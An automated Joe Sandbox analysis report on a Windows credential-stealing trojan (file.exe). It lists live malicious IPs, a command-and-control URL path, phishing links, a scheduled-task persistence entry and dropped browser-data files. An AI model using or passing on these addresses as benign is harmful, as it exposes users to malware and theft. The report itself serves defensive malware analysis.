20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.44.201.42	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.57.90.143	unknown	United States	35994	AKAMAI-ASUS	false
13.107.21.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.144	unknown	United States	35994	AKAMAI-ASUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.200.0.38	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.50.80.214	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.209.72.21	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.78	plus.l.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561318
Start date and time:	2024-11-23 05:01:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@78/296@26/29
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 74.125.205.84, 172.217.17.46, 34.104.35.123, 192.229.221.95, 172.217.17.74, 142.250.181.138, 142.250.181.10, 172.217.19.170, 172.217.19.234, 142.250.181.106, 172.217.17.42, 142.250.181.74, 172.217.19.202, 142.250.181.42, 199.232.210.172, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 13.87.96.169, 2.19.198.56, 23.32.238.138, 2.16.158.40, 2.16.158.27, 2.16.158.90, 2.16.158.169, 2.16.158.96, 2.16.158.75, 2.16.158.83, 2.16.158.82, 2.16.158.91, 172.165.61.93, 23.32.238.208, 23.32.238.168, 23.32.238.240, 2.16.158.33, 2.16.158.50, 2.16.158.35, 104.126.37.163, 104.126.37.162, 104.126.37.178, 104.126.37.139, 104.126.37.130, 104.126.37.128, 104.126.37.171, 104.126.37.186, 23.52.62.22, 23.32.238.96, 2.19.198.73, 2.16.158.58, 2.16.158.26, 2.16.158.192, 2.16.158.179, 142.250.80.67, 142.251.40.163, 142.250.80.35
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficmanager.net, otelrules.afd.azureedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, a1858.dscd.akam
Execution Graph export aborted for target DocumentsAEBGHDBKEB.exe, PID 8864 because it is empty
Execution Graph export aborted for target skotes.exe, PID 9148 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 9168 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:03:10	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
23:02:46	API Interceptor	130x Sleep call for process: file.exe modified
23:04:03	API Interceptor	158x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey	Browse	34.116.198.130
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
play.google.com	https://3a88da1a86b3b964.ngrok.app/Factura.php	Get hash	malicious	Unknown	Browse	142.250.65.206
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	172.217.19.206
	https://docs.google.com/presentation/d/1z_B5nVWxQSqBMnIWjAfO37AM3HSOm_XjEmM3UM39DA0/preview	Get hash	malicious	Unknown	Browse	172.217.19.238
	http://saighbuzu32uvv.top/1.php?s=527	Get hash	malicious	Unknown	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse	172.217.19.238
	http://cl4ycra.hgzcbqsqumhkfshql.com/kxosbfkve	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.217.19.206
	https://ex.securemail.intermedia.net/login.html?msgUserId=3883fff1970b5d7b&enterprise=aurorahealth&rrRegcode=Thzq6kFB&locale=en_US	Get hash	malicious	Unknown	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.238

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	file.exe	Get hash	malicious	Credential Flusher	Browse	35.164.125.63
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	54.171.230.55
	https://fax-review-complete-signature-required.s3.us-east-1.amazonaws.com/Derwiiuw45FSDeerwyllakttqyhfffddd/ASgggsh65378Reloadfffax3527paogHjkks/Pdf.html	Get hash	malicious	Unknown	Browse	52.216.63.10
	https://3a88da1a86b3b964.ngrok.app/Factura.php	Get hash	malicious	Unknown	Browse	3.17.7.232
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.238.49.74
	http://www.buildermax.in/002/ww.htm	Get hash	malicious	HTMLPhisher	Browse	3.124.100.143
	SafeguardPDFViewer_v3.exe	Get hash	malicious	Unknown	Browse	18.217.61.96
	https://sendbot.me/seuemprestimogarantido	Get hash	malicious	Unknown	Browse	54.232.52.11
	https://sendbot.me/seuemprestimogarantido	Get hash	malicious	Unknown	Browse	54.232.204.248
	arm.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
AKAMAI-ASUS	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.57.90.163
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.49.251.29
	8347392490280.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	23.217.172.185
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	2.20.40.227
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.6.144.135
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	23.54.198.233
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	2.18.56.63
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	23.73.76.97
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	23.2.190.55

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	http://ppc-overwatch.com	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	Yssr_Receipt.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://www.google.com.bn/url?snf=vpsBrmjsMjZT0YKBELze&nuu=B4grUxP5T5pV5xJiiFp0&sa=t&ndg=e2p4qPDSQqlwr77oflqr&pdbr=npO0StsDFHvGF7jwYfWY&np=slEjuRPdabbflvaXgHau&cb=IhzFYfcuqq5m2vva4DTH&url=amp%2Fbeutopiantech.com%2Fchd%2FroghgehdjtiE-SURECHDDam9lbC5kZW5vZnJpb0BoYW5lc2NvbXBhbmllcy5jb20=	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	https://fax-review-complete-signature-required.s3.us-east-1.amazonaws.com/Derwiiuw45FSDeerwyllakttqyhfffddd/ASgggsh65378Reloadfffax3527paogHjkks/Pdf.html	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.84
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.198.119.84
	es.hta	Get hash	malicious	Unknown	Browse	20.198.119.84
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	20.198.119.84
	PDQConnectAgent-4.3.4.msi	Get hash	malicious	Unknown	Browse	20.198.119.84
	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.119.84
	Setup.exe	Get hash	malicious	LummaC	Browse	20.198.119.84
	locker.exe	Get hash	malicious	AnonWorld	Browse	20.198.119.84
	http://147.45.47.98/js/error.js	Get hash	malicious	Unknown	Browse	20.198.119.84
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	20.198.119.84

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFCBAEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.268012916093758
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0JZ91LyKOMq+8iP5GLP/0j
MD5:	6BBD1D487B5B59E55AD7C0126B073B5E
SHA1:	F3F535B561A17A964513AB9FEBC0CDDB45259396
SHA-256:	4F26A0EF8B2BCD8AFB33FAA2098B6486140BB092186B1BA1D9DF29C348FBB314
SHA-512:	2086FEDA7558696FC3704AD74F6AC57EC3DD44C7DE48306173B19816EBB97EFA6A8188C0AA28DA6C0F69C8FB5A4EAB7B654268333F3690D99DE8FC55045EC351
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKJDGDGDHDGDBFIDHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDAAEHDHIIJKECBKEBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAFIJKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGHDAKKJJJKJKECBGCGDAEBAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBKJEGIEBFHCAAKKEBAEBKEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEGDHCFCAAECAKECBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
